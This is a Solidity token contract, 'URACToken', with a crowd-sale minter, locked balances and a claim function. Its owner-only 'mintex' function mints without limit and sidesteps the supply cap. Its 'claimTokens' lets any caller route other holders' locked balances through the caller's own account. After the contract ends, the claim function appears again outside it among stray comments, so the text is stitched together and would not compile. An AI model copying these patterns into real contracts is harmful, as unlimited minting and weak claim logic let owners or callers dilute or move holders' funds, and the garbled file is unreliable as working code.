contract URACToken is PausableToken {
    using SafeMath for uint;

    /// Constant token specific fields
    string public constant name = "URACToken";
    string public constant symbol = "URAC";
    uint public constant decimals = 18;

    /// URAC total tokens supply
    uint public currentSupply;

    /// Fields that are only changed in constructor
    /// URAC sale  contract
    address public minter;

    /// Fields that can be changed by functions
    mapping (address => uint) public lockedBalances;

    /// claim flag
    bool public claimedFlag;

    /*
     * MODIFIERS
     */
    modifier onlyMinter {
        require(msg.sender == minter);
        _;
    }

    modifier canClaimed {
        require(claimedFlag == true);
        _;
    }

    modifier maxTokenAmountNotReached (uint amount){
        require(currentSupply.add(amount) <= totalSupply);
        _;
    }

    modifier validAddress( address addr ) {
        require(addr != address(0x0));
        require(addr != address(this));
        _;
    }

    /**
     * CONSTRUCTOR
     *
     * @dev Initialize the URAC Token
     * @param _minter The URACCrowdSale Contract
     * @param _maxTotalSupply total supply token
     */
    constructor(address _minter, address _admin, uint _maxTotalSupply)
        public
        validAddress(_admin)
        validAddress(_minter)
        {
        minter = _minter;
        totalSupply = _maxTotalSupply;
        claimedFlag = false;
        transferOwnership(_admin);
    }

    function mintex(uint amount) public onlyOwner {
        balances[msg.sender] = balances[msg.sender].add(amount);
        totalSupply = totalSupply.add(amount);
    }

    /**
     * EXTERNAL FUNCTION
     *
     * @dev URACCrowdSale contract instance mint token
     * @param receipent The destination account owned mint tokens
     * @param amount The amount of mint token
     * @param isLock Lock token flag
     * be sent to this address.
     */

    function mint(address receipent, uint amount, bool isLock)
        external
        onlyMinter
        maxTokenAmountNotReached(amount)
        returns (bool)
    {
        if (isLock ) {
            lockedBalances[receipent] = lockedBalances[receipent].add(amount);
        } else {
            balances[receipent] = balances[receipent].add(amount);
        }
        currentSupply = currentSupply.add(amount);
        return true;
    }


    function setClaimedFlag(bool flag)
        public
        onlyOwner
    {
        claimedFlag = flag;
    }

     /*
     * PUBLIC FUNCTIONS
     */

    /// @dev Locking period has passed - Locked tokens have turned into tradeable
    function claimTokens(address[] calldata receipents)
        external
        canClaimed
    {
        for (uint i = 0; i < receipents.length; i++) {
            address receipent = receipents[i];
            //balances[receipent] = balances[receipent].add(lockedBalances[receipent]);
            balances[msg.sender] = balances[msg.sender].add(lockedBalances[receipent]);
            transfer(receipent, lockedBalances[receipent]);
            lockedBalances[receipent] = 0;
        }
    }
}
/// @title URACToken Contract
/// For more information about this token sale, please visit http://www.uranus.io
/// @author reedhong
function claimTokens(address[] calldata receipents)
    external
    canClaimed
{
    for (uint i = 0; i < receipents.length; i++) {
        address receipent = receipents[i];
        //balances[receipent] = balances[receipent].add(lockedBalances[receipent]);
        balances[msg.sender] = balances[msg.sender].add(lockedBalances[receipent]);
        transfer(receipent, lockedBalances[receipent]);
        lockedBalances[receipent] = 0;
    }
}

/// @dev Locking period has passed - Locked tokens have turned into tradeable